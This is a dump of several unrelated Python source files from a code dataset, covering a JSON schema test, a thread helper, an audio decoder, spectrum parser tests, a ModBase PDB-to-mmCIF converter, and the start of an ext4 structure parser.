self.true(s_json.compileJsSchema(s_test.test_schema))\n resp = s_json.runJsSchema(s_test.test_schema, {'key:integer': 137})\n self.eq(137, resp.get('key:integer'))\n self.eq('Default string!', resp.get('key:string'))\n\n opts = {'vars': {'schema': s_test.test_schema}}\n q = '''$schemaObj = $lib.json.schema($schema)\n $item=$lib.dict()\n $item.\"key:integer\"=(4)\n return ( $schemaObj.validate($item) )\n '''\n isok, valu = await core.callStorm(q, opts=opts)\n self.true(isok)\n self.eq(4, valu.get('key:integer'))\n self.eq('Default string!', valu.get('key:string'))\n\n q = '''$schemaObj = $lib.json.schema($schema)\n $item=$lib.dict()\n $item.\"key:integer\"=4\n return ( $schemaObj.validate($item) )\n '''\n isok, valu = await core.callStorm(q, opts=opts)\n self.false(isok)\n self.eq('data.key:integer must be integer', valu.get('mesg'))\n\n with self.raises(s_exc.StormRuntimeError):\n q = '$schemaObj=$lib.json.schema((foo, bar))'\n await core.callStorm(q)\n\n q = '''\n $schemaObj = $lib.json.schema($schema, use_default=$lib.false)\n $item = ({\"key:integer\": 4})\n return($schemaObj.validate($item))\n '''\n isok, valu = await core.callStorm(q, opts={'vars': {'schema': s_test.test_schema}})\n self.true(isok)\n self.eq(4, valu.get('key:integer'))\n self.notin('key:string', valu)\n\n # Print a json schema obj\n q = \"$schemaObj = $lib.json.schema($schema) $lib.print('schema={s}', s=$schemaObj)\"\n msgs = await core.stormlist(q, opts=opts)\n self.stormIsInPrint('json:schema: {', msgs)\n\n q = \"$schemaObj = $lib.json.schema($schema) return ( $schemaObj.schema() )\"\n schema = await core.callStorm(q, opts=opts)\n self.eq(schema, s_test.test_schema)\n","sub_path":"synapse/tests/test_lib_stormlib_json.py","file_name":"test_lib_stormlib_json.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"516963466","text":"import threading\nimport logging\nimport signal\n\n\nclass StoppableThread(threading.Thread):\n \"\"\" Stoppable Thread class prototype, takes a target and a stop_callback\n\n target: Instance to Thread\n stop_callback: Instances self-destruct method.\n\n \"\"\"\n\n # setup the logger\n logger = logging.getLogger(\"StoppableThread\")\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n\n def __init__(self, target=None, stop_callback=None, **kwargs):\n super(StoppableThread, self).__init__(target=target, **kwargs)\n self.logger.debug(\"spawning thread %s\" % self)\n self.kwargs = kwargs\n self.target = target\n self.stop_callback = stop_callback\n self._stop = threading.Event()\n\n def stop(self):\n self.logger.debug(\"stopping thread: %s\" % self)\n self._stop.set()\n\n if self.target:\n self.logger.debug(\"sending SIGINT to %s\" % self.target)\n signal.signal(signal.SIGINT, self.target)\n self.logger.debug(\"SIGINT sent to %s\" % self.target)\n\n self.logger.debug(\"attempting stop_callbacks for %s\" % type(self.stop_callback))\n\n if self.stop_callback:\n try:\n self.logger.debug(\"calling stop_callback: %s\" % self.stop_callback)\n self.stop_callback\n except:\n self.logger.error(\"oops, couldnt stop that, maybe not an instancemethod?\")\n self.logger.debug(\"stop completed for %s\" % self)\n\n def stopped(self):\n self.logger.debug(\"stopped thread: %s\" % self)\n return self._stop.isSet()","sub_path":"libdeblox/threadblox.py","file_name":"threadblox.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"563284828","text":"import math\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass AudioDecoder(nn.Module):\n \"\"\"\n A simple encoder convolutional -> recurrent neural network for\n audio input.\n\n Args:\n num_layers (int): number of encoder layers.\n bidirectional (bool): bidirectional encoder.\n rnn_size (int): size of hidden states of the rnn.\n dropout (float): dropout probablity.\n sample_rate (float): input spec\n window_size (int): input spec\n\n \"\"\"\n def __init__(self, num_layers, bidirectional, rnn_size, dropout,\n downsample, window_size):\n super(AudioEncoder, self).__init__()\n self.num_layers = num_layers\n self.num_directions = 2 if bidirectional else 1\n self.hidden_size = rnn_size\n self.downsample = 8\n self.n_feats = 41\n \n # input_size = 608\n self.rnn = nn.LSTM(rnn_size, rnn_size,\n num_layers=num_layers,\n dropout=dropout,\n bidirectional=bidirectional)\n self.linear = nn.Linear(rnn_size, self.downsample*self.n_feats)\n\n def forward(self, input, context, state, context_lengths=None):\n \"See :obj:`onmt.modules.EncoderBase.forward()`\"\n\n output, hidden = self.rnn(context)\n output = self.linear(output)\n output = output.reshape(output.size(0), -1, self.n_feats)\n\n return output\n","sub_path":"onmt/modules/AudioDecoder.py","file_name":"AudioDecoder.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"425453084","text":"import os\n\nimport numpy as np\nimport pytest\n\nfrom lrspectrum.parsers import detect\nfrom lrspectrum.parsers import _parse_gaussian\nfrom lrspectrum.parsers import _parse_chronus\nfrom lrspectrum.parsers import _parse_delim\n\n\ndef check_same_dicts(dict1, dict2):\n assert len(dict1) == len(dict2)\n for (rk, rv), (ek, ev) in zip(dict1.items(), dict2.items()):\n print((rk, rv))\n print((ek, ev))\n assert rk == ek\n assert np.isclose(rv, ev)\n\n\ndef test_detect():\n \"\"\" Test parsers.detect \"\"\"\n\n filname = '_test_detect.tmp'\n\n # Test custom errors\n with pytest.raises(TypeError):\n detect(0)\n\n # Test default\n fil = open(filname, 'w')\n fil.write('Blah blah blah')\n fil.close()\n expected = 'delim'\n result = detect(filname)\n assert expected == result\n\n # Test Gaussian detection\n fil = open(filname, 'w')\n fil.write('This is part of the Gaussian')\n fil.close()\n expected = 'gaussian'\n result = detect(filname)\n assert expected == result\n\n fil = open(filname, 'w')\n fil.write('Gaussian')\n fil.close()\n result = detect(filname)\n assert expected == result\n\n # Test ChronusQ detection\n fil = open(filname, 'w')\n fil.write('ChronusQ')\n fil.close()\n expected = 'chronus'\n result = detect(filname)\n assert expected == result\n\n os.remove(filname)\n\n\ndef test__parse_gaussian():\n \"\"\" Test parsers._parse_gaussian \"\"\"\n\n # Test custom errors\n with pytest.raises(TypeError):\n _parse_gaussian(0)\n\n # Test parsing\n filname = 'lrspectrum/test/data/single_root.log'\n expected = {'5.182': 0.3}\n result = _parse_gaussian(filname)\n check_same_dicts(expected, result)\n\n\ndef test__parse_chronus():\n \"\"\" Test parsers._parse_chronus \"\"\"\n\n with pytest.raises(TypeError):\n _parse_chronus(0)\n\n # Test parsing\n filname = 'lrspectrum/test/data/chronusq.out'\n expected = {'0.92663078': 0.0001608,\n '1.79614206': 0.00923395,\n '1.82439203': 0.01562033}\n result = _parse_chronus(filname)\n check_same_dicts(expected, result)\n\n\ndef test__parse_delim():\n \"\"\"\" Test parsers._parse_delim \"\"\"\n\n # Test custom errors\n with pytest.raises(TypeError):\n _parse_delim(0)\n\n # Test parsing\n filname = 'lrspectrum/test/data/delim0.txt'\n expected = {'12.568': 0.0213, '1.2789e3': 5.634e-5, '9.825': 10064.0}\n result = _parse_delim(filname)\n check_same_dicts(expected, result)\n\n filname = 'lrspectrum/test/data/delim1.txt'\n result = _parse_delim(filname)\n check_same_dicts(expected, result)\n","sub_path":"lrspectrum/test/test_parsers.py","file_name":"test_parsers.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"26438281","text":"#!/usr/bin/python3\n\nimport re\nimport os\nimport sys\nimport collections\nimport gzip\nimport ihm.reader\nimport ihm.citations\nimport modelcif\nimport modelcif.dumper\nimport modelcif.model\nimport modelcif.alignment\nimport modelcif.reference\nfrom modelcif.alignment import ShorterSequenceIdentity as SequenceIdentity\nimport modelcif.protocol\n\n\n__version__ = \"0.4\"\n\n\nclass RefSeq(modelcif.reference.TargetReference):\n \"\"\"RefSeq\"\"\"\n\n\nclass PlasmoDB(modelcif.reference.TargetReference):\n \"\"\"PlasmoDB\"\"\"\n\n\nclass MPQSMetricType(modelcif.qa_metric.MetricType):\n \"\"\"composite score, values >1.1 are considered reliable\"\"\"\n\n\n# Single sequence in a Modeller alignment\nSequence = collections.namedtuple(\n \"Sequence\", [\"seqtyp\", \"chain\", \"method\", \"gapped\", \"primary\",\n \"primary_can\"])\n\n\n# Reference sequence database\nSequenceDB = collections.namedtuple(\n \"SequenceDB\", [\"name\", \"code\", \"accession\"])\n\n\n# Mapping between one-letter codes and PDB names\nthree_to_one = {\n 'ALA': 'A', 'CYS': 'C', 'ASP': 'D', 'GLU': 'E',\n 'PHE': 'F', 'GLY': 'G', 'HIS': 'H', 'ILE': 'I',\n 'LYS': 'K', 'LEU': 'L', 'MET': 'M', 'ASN': 'N',\n 'PRO': 'P', 'GLN': 'Q', 'ARG': 'R', 'SER': 'S',\n 'THR': 'T', 'VAL': 'V', 'TRP': 'W', 'TYR': 'Y',\n 'GLX': 'Z', 'ASX': 'B'\n}\n\none_to_three = {val: key for key, val in three_to_one.items()}\n\n\n# Some very old ModBase models contain UNK. The \"one-letter\" name for UNK\n# is also UNK, so just map to itself:\nthree_to_one['UNK'] = 'UNK'\n\n\ndef split_resnum(resnum):\n \"\"\"Split a residue number into number and insertion code (or None)\"\"\"\n m = re.match(r'([\\d-]+)(.*)$', resnum)\n return m.group(1), m.group(2) or None\n\n\nclass Alignment:\n \"\"\"Represent a Modeller alignment\"\"\"\n\n def __init__(self, fname):\n with open(fname) as fh:\n self.template, self.target = self._read_seqs(fh)\n\n def _read_seqs(self, fh):\n template, target = None, None\n for line in fh:\n if line.startswith('>P1;'):\n seq = self._read_seq(fh)\n if seq.seqtyp == 'sequence':\n target = seq\n elif seq.seqtyp.startswith('structure'):\n template = seq\n if template is None or target is None:\n raise ValueError(\"Could not read target and template \"\n \"from alignment\")\n # All current ModBase models have only template\n return template, target\n\n def _read_seq(self, fh):\n header = fh.readline().split(':')\n seqlines = []\n while True:\n line = fh.readline()\n if line == '':\n raise ValueError(\"End of file while reading sequence\")\n seqlines.append(line.rstrip('\\r\\n'))\n if seqlines[-1].endswith('*'):\n break\n gapped = \"\".join(seqlines)[:-1]\n # \"Canonical\" primary sequence is always a sequence of one-letter\n # codes; regular primary sequence is 1-letter for standard amino\n # acids, but can be longer for any non-standard residues (currently\n # only UNK is handled here, assuming X always means UNK in the\n # template).\n primary_can = gapped.replace('-', '')\n primary = ['UNK' if x == 'X' else x for x in primary_can]\n return Sequence(\n seqtyp=header[0], chain=header[3], method=header[7],\n gapped=gapped, primary=primary, primary_can=primary_can)\n\n\nclass _PolySeqSchemeHandler(ihm.reader.Handler):\n \"\"\"Read pdbx_poly_seq_scheme table and map PDB to mmCIF numbering\"\"\"\n def __init__(self, m):\n self.m = m\n\n def __call__(self, asym_id, entity_id, seq_id, pdb_seq_num, pdb_ins_code,\n pdb_strand_id):\n mk = (pdb_strand_id, pdb_seq_num, pdb_ins_code)\n if mk in self.m:\n self.m[mk] = (asym_id, entity_id, seq_id)\n\n\nclass Repository:\n \"\"\"Point to a directory containing a mirror of PDB in mmCIF format\"\"\"\n def __init__(self, topdir):\n self.topdir = topdir\n\n def open_mmcif(self, pdb_code):\n \"\"\"Given a PDB code, return a file handle to the corresponding mmCIF\"\"\"\n code = pdb_code.lower()\n fname = os.path.join(self.topdir, code[1:3], code + '.cif.gz')\n return gzip.open(fname, 'rt', encoding='latin1')\n\n def map_ranges(self, fh, ranges):\n \"\"\"Map a list of PDB (chain, resnum_start, resnum_end) tuples to the\n corresponding mmCIF (asym_id, entity_id, seq_id_start, seq_id_end)\n values and return. This is done by reading the pdbx_poly_seq_scheme\n table in the given mmCIF file.\"\"\"\n m = collections.OrderedDict()\n for r in ranges:\n # If we can't find the PDB numbering, return it unchanged\n m[r] = (r[0], None, r[1])\n h = _PolySeqSchemeHandler(m)\n r = ihm.format.CifReader(fh, {'_pdbx_poly_seq_scheme': h})\n r.read_file()\n return m.values()\n\n\nclass Structure:\n \"\"\"Handle read of PDB structure and write of mmCIF\"\"\"\n\n def __init__(self, repo):\n self.repo = repo\n\n def _read_pdb(self, fh):\n self.remarks = {}\n self.seqdb = []\n self.expdta = None\n self.title = None\n self.modpipe_version = None\n self.atoms = []\n\n for line in fh:\n # Handle standard ModBase headers\n if line.startswith('REMARK 220 SEQDB:'):\n val = [x.strip() for x in line[17:].split()]\n if len(val) == 3:\n self.seqdb.append(SequenceDB(\n name=val[0], accession=val[1], code=val[2]))\n elif len(val) == 2 and val[0] == 'RefSeq' and '.' in val[1]:\n self.seqdb.append(SequenceDB(\n name=val[0], accession=val[1].split('.', 1)[0],\n code=val[1]))\n elif len(val) == 2 and val[0] in ('PlasmoDB',):\n self.seqdb.append(SequenceDB(\n name=val[0], accession=val[1], code='.'))\n elif line.startswith('REMARK 6 GENERATED BY MODPIPE VERSION '):\n self.modpipe_version = line[40:].strip()\n elif line.startswith('REMARK') and line.count(':') == 1:\n key, val = [x.strip() for x in line[11:].split(':')]\n self.remarks[key] = val\n elif line.startswith('TITLE '):\n self.title = line[10:].strip()\n elif line.startswith('EXPDTA '):\n self.expdta = line[10:].strip()\n elif line.startswith('ATOM') or line.startswith('HETATM'):\n self.atoms.append(line)\n # All ModBase models are single chain\n if self.atoms:\n self.chain_id = self.atoms[0][21]\n\n def get_modeller_version(self):\n if self.expdta:\n m = re.search(r'MODELLER\\s+(Version\\s+)?(\\S+)', self.expdta)\n if m:\n return m.group(2)\n\n def get_mmcif_template_info(self, pdb_beg, pdb_end, pdb_chain, pdb_code):\n \"\"\"Given PDB (\"author-provided\") template information, map to\n mmCIF seq_id range, asym_id and entity_id, and return.\"\"\"\n # Split TEMPLATE BEGIN/END records into residue number and\n # insertion code\n pdb_beg, pdb_beg_ins = split_resnum(pdb_beg)\n pdb_end, pdb_end_ins = split_resnum(pdb_end)\n pdb_ranges = [(pdb_chain, pdb_beg, pdb_beg_ins),\n (pdb_chain, pdb_end, pdb_end_ins)]\n # Open the mmCIF file and map PDB ranges to mmCIF\n with self.repo.open_mmcif(pdb_code) as fh:\n cif_ranges = list(self.repo.map_ranges(fh, pdb_ranges))\n # Handle start==end\n if len(cif_ranges) == 1:\n cif_ranges = [cif_ranges[0], cif_ranges[0]]\n # asym_id of start and end should be the same\n assert cif_ranges[0][0] == cif_ranges[1][0]\n # If either end of the range has an entity_id, provide it\n entity_id = cif_ranges[0][1] or cif_ranges[1][1]\n return (int(cif_ranges[0][2]), int(cif_ranges[1][2]),\n cif_ranges[0][0], entity_id)\n\n def get_sequence3(self):\n \"\"\"Get PDB sequence as a sequence of 3-letter residue names\"\"\"\n resnum = None\n for a in self.atoms:\n this_resnum = a[22:26] # residue sequence number\n if this_resnum != resnum:\n yield a[17:20].strip() # residue name\n resnum = this_resnum\n\n def get_system(self, align):\n \"\"\"Create and return a modelcif.System object\"\"\"\n if align:\n align = Alignment(align)\n tgt_primary = [three_to_one[x] for x in self.get_sequence3()]\n\n model_id = self.remarks['MODPIPE MODEL ID']\n s = modelcif.System(\n title=self.title, id='model_' + model_id,\n database=modelcif.Database(id='MODBASE', code=model_id))\n c = ihm.Citation(\n title=\"ModBase, a database of annotated comparative protein \"\n \"structure models and associated resources\",\n journal=\"Nucleic Acids Res\", volume=42,\n page_range=('D336', 'D346'), year=2014, pmid=24271400,\n authors=['Pieper, U.', 'Webb, B.M.', 'Dong, G.Q.',\n 'Schneidman-Duhovny, D.', 'Fan, H.', 'Kim, S.J.',\n 'Khuri, N.', 'Spill, Y.G.', 'Weinkam, P.', 'Hammel, M.',\n 'Tainer, J.A.', 'Nilges, M.', 'Sali, A.'],\n doi='10.1093/nar/gkt1144', is_primary=True)\n s.citations.append(c)\n\n s.authors.extend(('Pieper, U.', 'Webb, B.', 'Narayanan, E.',\n 'Sali, A.'))\n modpipe_software = modelcif.Software(\n name='ModPipe', classification='comparative modeling',\n location='https://salilab.org/modpipe/', type='program',\n version=self.modpipe_version,\n description='Comparative modeling pipeline')\n modeller_software = modelcif.Software(\n name='MODELLER', classification='comparative modeling',\n location='https://salilab.org/modeller/', type='program',\n version=self.get_modeller_version(),\n citation=ihm.citations.modeller,\n description='Comparative modeling by satisfaction of '\n 'spatial restraints')\n this_software = modelcif.Software(\n name='modbase_pdb_to_cif.py', classification=\"format conversion\",\n location='https://github.com/salilab/modbase_utils',\n version=__version__,\n description=\"Conversion of ModBase PDB and alignment files \"\n \"to mmCIF format\")\n s.software.extend((modpipe_software, modeller_software, this_software))\n\n tgtbeg = int(self.remarks['TARGET BEGIN'])\n tgtend = int(self.remarks['TARGET END'])\n if align:\n template_e = modelcif.Entity(align.template.primary,\n description=\"Template\")\n template_pdb = self.remarks['TEMPLATE PDB']\n # Some very old models use single-chain PDB templates with no\n # chain ID. These have all since been remediated, almost certainly\n # to use chain ID 'A'.\n template_chain = self.remarks['TEMPLATE CHAIN'] or 'A'\n tmpbeg, tmpend, tmpasym, tmpentity = self.get_mmcif_template_info(\n self.remarks['TEMPLATE BEGIN'], self.remarks['TEMPLATE END'],\n template_chain, template_pdb)\n template = modelcif.Template(\n entity=template_e, asym_id=tmpasym, model_num=1,\n strand_id=template_chain, entity_id=tmpentity,\n name=\"Template structure\",\n transformation=modelcif.Transformation.identity(),\n references=[modelcif.reference.PDB(template_pdb)])\n if align and align.template.primary == tgt_primary:\n target_e = template_e\n target_e.description = \"Target and template\"\n else:\n target_e = modelcif.Entity(tgt_primary, description=\"Target\")\n target_e.references.extend(self.get_target_refs(tgtbeg, tgtend))\n chain_id = self.chain_id.strip() or 'A'\n asym = modelcif.AsymUnit(target_e, details='Model subunit',\n id=chain_id, auth_seq_id_map=tgtbeg-1)\n asmb = modelcif.Assembly((asym,), name='Modeled assembly')\n\n class OurAlignment(modelcif.alignment.Global,\n modelcif.alignment.Pairwise):\n pass\n if align:\n p = modelcif.alignment.Pair(\n template=template.segment(align.template.gapped,\n tmpbeg, tmpend),\n target=asym.segment(align.target.gapped,\n 1, len(align.target.primary)),\n score=modelcif.alignment.BLASTEValue(self.remarks['EVALUE']),\n identity=SequenceIdentity(self.remarks['SEQUENCE IDENTITY']))\n aln = OurAlignment(name=\"Target Template Alignment\",\n software=modpipe_software, pairs=[p])\n else:\n aln = OurAlignment(name=\"Target Template Alignment\",\n software=modpipe_software, pairs=[])\n s.alignments.append(aln)\n modeling_input = modelcif.data.DataGroup((aln, target_e))\n if align:\n modeling_input.append(template)\n\n model = self.get_model_class(asym, self.atoms)(\n assembly=asmb, name='Target Structure')\n model.qa_metrics.extend(self.get_scores(modeller_software,\n modpipe_software))\n\n model_group = modelcif.model.ModelGroup([model], name='All models')\n s.model_groups.append(model_group)\n\n protocol = modelcif.protocol.Protocol()\n mth = \" %s\" % align.template.method if align else ''\n modpipe_db = modelcif.ReferenceDatabase(\n name='ModPipe sequence and structure database',\n url='https://salilab.org/modpipe/doc/databases.html')\n protocol.steps.append(modelcif.protocol.TemplateSearchStep(\n name='ModPipe%s' % mth, software=modpipe_software,\n input_data=modelcif.data.DataGroup([target_e, modpipe_db]),\n output_data=aln))\n protocol.steps.append(modelcif.protocol.ModelingStep(\n software=modeller_software, input_data=modeling_input,\n output_data=model))\n protocol.steps.append(modelcif.protocol.ModelSelectionStep(\n software=modpipe_software, input_data=model, output_data=model))\n s.protocols.append(protocol)\n\n return s\n\n def get_target_refs(self, tgtbeg, tgtend):\n refmap = {'UniProt': modelcif.reference.UniProt,\n 'RefSeq': RefSeq,\n 'PlasmoDB': PlasmoDB}\n for db in self.seqdb:\n cls = refmap.get(db.name)\n if cls:\n yield cls(code=db.code, accession=db.accession,\n align_begin=tgtbeg, align_end=tgtend,\n isoform=ihm.unknown)\n\n def get_model_class(self, asym, atoms):\n class MyModel(modelcif.model.HomologyModel):\n def get_atoms(self):\n pdb_resnum = None\n seqid = 1\n for a in atoms:\n # Detect new residue if PDB resnum changed\n pdb_this_resnum = a[22:26]\n if (pdb_resnum is not None\n and pdb_this_resnum != pdb_resnum):\n seqid += 1\n pdb_resnum = pdb_this_resnum\n element = a[76:78].strip() or ihm.unknown\n # Very old PDBs don't have sequence where the element\n # should be, so ignore that; guess element as the first\n # character of name\n if a[73:76] == '1SG':\n element = a[13:14].strip() or ihm.unknown\n yield modelcif.model.Atom(\n asym_unit=asym, type_symbol=element,\n seq_id=seqid, atom_id=a[12:16].strip(),\n x=a[30:38].strip(), y=a[38:46].strip(),\n z=a[46:54].strip(),\n biso=a[60:66].strip(),\n occupancy=a[54:60].strip())\n return MyModel\n\n def get_scores(self, modeller_software, modpipe_software):\n tsvmod_method = self.remarks.get('TSVMOD METHOD')\n tsvmod_rmsd = self.remarks.get('TSVMOD RMSD')\n tsvmod_no35 = self.remarks.get('TSVMOD NO35')\n ga341 = self.remarks.get('GA341 SCORE',\n self.remarks.get('MODEL SCORE'))\n zdope = self.remarks.get('zDOPE SCORE',\n self.remarks.get('ZDOPE SCORE'))\n mpqs = self.remarks.get('MPQS',\n self.remarks.get('MODPIPE QUALITY SCORE'))\n if not mpqs:\n return\n\n class GA341(modelcif.qa_metric.Global,\n modelcif.qa_metric.NormalizedScore):\n \"\"\"GA341 fold reliability score\"\"\"\n software = modeller_software\n\n class MPQS(modelcif.qa_metric.Global, MPQSMetricType):\n \"\"\"ModPipe Quality Score\"\"\"\n software = modpipe_software\n\n class zDOPE(modelcif.qa_metric.Global, modelcif.qa_metric.ZScore):\n \"\"\"Normalized DOPE\"\"\"\n software = modeller_software\n\n yield GA341(ga341)\n yield MPQS(mpqs)\n yield zDOPE(zdope)\n\n if tsvmod_rmsd:\n class TSVModRMSD(modelcif.qa_metric.Global,\n modelcif.qa_metric.Distance):\n __doc__ = \"TSVMod predicted RMSD (%s)\" % tsvmod_method\n name = \"TSVMod RMSD\"\n software = None\n\n class TSVModNO35(modelcif.qa_metric.Global,\n modelcif.qa_metric.NormalizedScore):\n __doc__ = (\"TSVMod predicted native overlap (%s)\"\n % tsvmod_method)\n name = \"TSVMod NO35\"\n software = None\n\n yield TSVModRMSD(tsvmod_rmsd)\n yield TSVModNO35(tsvmod_no35)\n\n\ndef read_pdb(fh, repo):\n \"\"\"Read PDB file from filehandle and return a new Structure\"\"\"\n s = Structure(repo)\n s._read_pdb(fh)\n return s\n\n\nif __name__ == '__main__':\n import argparse\n a = argparse.ArgumentParser(\n description=\"Utility to convert ModBase PDB files to mmCIF\",\n epilog=\"\"\"\nConvert a PDB file, downloaded from ModBase, to mmCIF format. This should\npreserve all information in the PDB file. If the corresponding alignment is\nalso provided (-a flag) alignment information is added to the mmCIF (in which\ncase the resulting mmCIF file should match that downloaded directly from\nModBase).\n\"\"\")\n a.add_argument(\"-a\", \"--align\", metavar=\"FILE\",\n help=\"Input alignment file\")\n a.add_argument(\"-r\", \"--repo\", default='.',\n help=\"Directory containing repository of mmCIF files\")\n a.add_argument(\"pdb\", help=\"Input PDB file\")\n a.add_argument(\"mmcif\", help=\"Output mmCIF file\")\n args = a.parse_args()\n\n r = Repository(args.repo)\n if args.pdb == '-':\n s = read_pdb(sys.stdin, r)\n else:\n with open(args.pdb) as fh:\n s = read_pdb(fh, r)\n system = s.get_system(args.align)\n\n if args.mmcif == '-':\n modelcif.dumper.write(sys.stdout, [system])\n else:\n if args.mmcif.endswith('.bcif'):\n mode, fmt = \"wb\", \"BCIF\"\n else:\n mode, fmt = \"w\", \"mmCIF\"\n with open(args.mmcif, mode) as fh:\n modelcif.dumper.write(fh, [system], format=fmt)\n","sub_path":"modbase_pdb_to_cif.py","file_name":"modbase_pdb_to_cif.py","file_ext":"py","file_size_in_byte":19763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"448820597","text":"import ctypes\r\nimport functools\r\nimport io\r\nimport math\r\nimport queue\r\n\r\n\r\n\r\n########################################################################################################################\r\n##################################################### HELPERS ######################################################\r\n########################################################################################################################\r\n\r\ndef wcscmp (str_a, str_b):\r\n \"\"\"\r\n Standard library wcscmp\r\n \"\"\"\r\n for a, b in zip(str_a, str_b):\r\n tmp = ord(a) - ord(b)\r\n if tmp != 0: return -1 if tmp < 0 else 1\r\n\r\n tmp = len(str_a) - len(str_b)\r\n return -1 if tmp < 0 else 1 if tmp > 0 else 0\r\n\r\n\r\n\r\n########################################################################################################################\r\n#################################################### EXCEPTIONS ####################################################\r\n########################################################################################################################\r\n\r\nclass Ext4Error (Exception):\r\n \"\"\"\r\n Base class for all custom errors\r\n \"\"\"\r\n pass\r\n\r\nclass BlockMapError (Ext4Error):\r\n \"\"\"\r\n Raised, when a requested file_block is not mapped to disk\r\n \"\"\"\r\n pass\r\n\r\nclass EndOfStreamError (Ext4Error):\r\n \"\"\"\r\n Raised, when BlockReader reads beyond the end of the volume's underlying stream\r\n \"\"\"\r\n pass\r\n\r\nclass MagicError (Ext4Error):\r\n \"\"\"\r\n Raised, when a structures magic value is wrong and ignore_magic is False\r\n \"\"\"\r\n pass\r\n\r\n\r\n\r\n########################################################################################################################\r\n#################################################### LOW LEVEL #####################################################\r\n########################################################################################################################\r\n\r\nclass ext4_struct (ctypes.LittleEndianStructure):\r\n \"\"\"\r\n Simplifies access to *_lo and *_hi fields\r\n \"\"\"\r\n def __getattr__ (self, name):\r\n \"\"\"\r\n Enables reading *_lo and *_hi fields together.\r\n \"\"\"\r\n try:\r\n # Combining *_lo and *_hi fields\r\n lo_field = ctypes.LittleEndianStructure.__getattribute__(type(self), name + \"_lo\")\r\n size = lo_field.size\r\n\r\n lo = lo_field.__get__(self)\r\n hi = ctypes.LittleEndianStructure.__getattribute__(self, name + \"_hi\")\r\n\r\n return (hi << (8 * size)) | lo\r\n except AttributeError:\r\n return ctypes.LittleEndianStructure.__getattribute__(self, name)\r\n\r\n def __setattr__ (self, name, value):\r\n \"\"\"\r\n Enables setting *_lo and *_hi fields together.\r\n \"\"\"\r\n try:\r\n # Combining *_lo and *_hi fields\r\n lo_field = lo_field = ctypes.LittleEndianStructure.__getattribute__(type(self), name + \"_lo\")\r\n size = lo_field.size\r\n\r\n lo_field.__set__(self, value & ((1 << (8 * size)) - 1))\r\n ctypes.LittleEndianStructure.__setattr__(self, name + \"_hi\", value >> (8 * size))\r\n except AttributeError:\r\n ctypes.LittleEndianStructure.__setattr__(self, name, value)\r\n\r\n\r\n\r\nclass ext4_dir_entry_2 (ext4_struct):\r\n _fields_ = [\r\n (\"inode\", ctypes.c_uint), # 0x0\r\n (\"rec_len\", ctypes.c_ushort), # 0x4\r\n (\"name_len\", ctypes.c_ubyte), # 0x6\r\n (\"file_type\", ctypes.c_ubyte) # 0x7\r\n # Variable length field \"name\" missing at 0x8\r\n ]\r\n\r\n def _from_buffer_copy (raw, offset = 0, platform64 = True):\r\n struct = ext4_dir_entry_2.from_buffer_copy(raw, offset)\r\n struct.name = raw[offset + 0x8 : offset + 0x8 + struct.name_len]\r\n return struct\r\n\r\n\r\n\r\nclass ext4_extent (ext4_struct):\r\n _fields_ = [\r\n (\"ee_block\", ctypes.c_uint), # 0x0000\r\n (\"ee_len\", ctypes.c_ushort), # 0x0004\r\n (\"ee_start_hi\", ctypes.c_ushort), # 0x0006\r\n (\"ee_start_lo\", ctypes.c_uint) # 0x0008\r\n ]\r\n\r\n\r\n\r\nclass ext4_extent_header (ext4_struct):\r\n _fields_ = [\r\n (\"eh_magic\", ctypes.c_ushort), # 0x0000, Must be 0xF30A\r\n (\"eh_entries\", ctypes.c_ushort), # 0x0002\r\n (\"eh_max\", ctypes.c_ushort), # 0x0004\r\n (\"eh_depth\", ctypes.c_ushort), # 0x0006\r\n (\"eh_generation\", ctypes.c_uint) # 0x0008\r\n ]\r\n\r\n\r\n\r\nclass ext4_extent_idx (ext4_struct):\r\n _fields_ = [\r\n (\"ei_block\", ctypes.c_uint), # 0x0000\r\n (\"ei_leaf_lo\", ctypes.c_uint), # 0x0004\r\n (\"ei_leaf_hi\", ctypes.c_ushort), # 0x0008\r\n (\"ei_unused\", ctypes.c_ushort) # 0x000A\r\n ]\r\n\r\n\r\n\r\nclass ext4_group_descriptor (ext4_struct):\r\n _fields_ = [\r\n (\"bg_block_bitmap_lo\", ctypes.c_uint), # 0x0000\r\n (\"bg_inode_bitmap_lo\", ctypes.c_uint), # 0x0004\r\n (\"bg_inode_table_lo\", ctypes.c_uint), # 0x0008\r\n (\"bg_free_blocks_count_lo\", ctypes.c_ushort), # 0x000C\r\n (\"bg_free_inodes_count_lo\", ctypes.c_ushort), # 0x000E\r\n (\"bg_used_dirs_count_lo\", ctypes.c_ushort), # 0x0010\r\n (\"bg_flags\", ctypes.c_ushort), # 0x0012\r\n (\"bg_exclude_bitmap_lo\", ctypes.c_uint), # 0x0014\r\n (\"bg_block_bitmap_csum_lo\", ctypes.c_ushort), # 0x0018\r\n (\"bg_inode_bitmap_csum_lo\", ctypes.c_ushort), # 0x001A\r\n (\"bg_itable_unused_lo\", ctypes.c_ushort), # 0x001C\r\n (\"bg_checksum\", ctypes.c_ushort), # 0x001E\r\n\r\n # 64-bit fields\r\n (\"bg_block_bitmap_hi\", ctypes.c_uint), # 0x0020\r\n (\"bg_inode_bitmap_hi\", ctypes.c_uint), # 0x0024\r\n (\"bg_inode_table_hi\", ctypes.c_uint), # 0x0028\r\n (\"bg_free_blocks_count_hi\", ctypes.c_ushort), # 0x002C\r\n (\"bg_free_inodes_count_hi\", ctypes.c_ushort), # 0x002E\r\n (\"bg_used_dirs_count_hi\", ctypes.c_ushort), # 0x0030\r\n (\"bg_itable_unused_hi\", ctypes.c_ushort), # 0x0032\r\n (\"bg_exclude_bitmap_hi\", ctypes.c_uint), # 0x0034\r\n 